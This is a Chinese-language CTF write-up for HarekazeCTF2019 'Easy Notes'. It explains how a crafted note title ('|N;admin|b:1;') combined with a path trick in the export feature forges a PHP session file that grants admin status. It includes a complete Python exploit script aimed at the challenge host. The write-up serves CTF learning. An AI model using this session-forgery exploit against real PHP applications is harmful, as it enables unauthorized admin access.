#题目
*有源码,是一个笔记本系统
*在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证
*点击get flag提示不是admin
#flag.php
<section><h2>Get flag</h2><p>if (is_admin()) {echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";} else {echo "You are not an admin :(";}</p></section>
需要满足is_admin()函数才会给你flag
那我们去看一下is_admin()方法
好像也没有什么东西
session 文件以 sess_ 开头,且只含有 a-z,A-Z,0-9,-
看到 $filename 处可以满足所有的条件
构造 user 为 sess_ ,type 为 . ,经过处理之后,$path 就是
TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件
然后向这个文件写入 note 的 title
php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin 了
在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据
session 伪造,session 反序列化
import reimport requestsURL = 'http://32992b00-dbfe-47e5-ac0f-4657682bfb40.node3.buuoj.cn/'while True:# login as sess_sess = requests.Session()sess.post(URL + 'login.php', data={'user': 'sess_'})# make a crafted notesess.post(URL + 'add.php', data={'title': '|N;admin|b:1;','body': 'hello'})# make a fake sessionr = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']print(r)sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]print(sessid)# get the flagr = requests.get(URL + '?page=flag', cookies={'PHPSESSID': sessid}).content.decode('utf-8')flag = re.findall(r'HarekazeCTF{.+}', r)if len(flag) > 0:print(flag[0])break
替换session
原文来自CSDN博主「浩歌已行」|侵删
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/0-1652173572.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/05/3-1652173573.png)
。想加入我们就给我们留言吧
。![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/10-1652173578.gif)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/4-1652173580.png)
原文始发于微信公众号(寰宇卫士):[HarekazeCTF2019]Easy Notes解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-


![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/3-1652173562.gif)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/4-1652173564.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/4-1652173565.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/10-1652173567.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/1-1652173568.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/9-1652173570.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/2-1652173571.png)
![[HarekazeCTF2019]Easy Notes解题步骤详解 [HarekazeCTF2019]Easy Notes解题步骤详解](http://cn-sec.com/wp-content/uploads/2022/05/6-1652173577.gif)
评论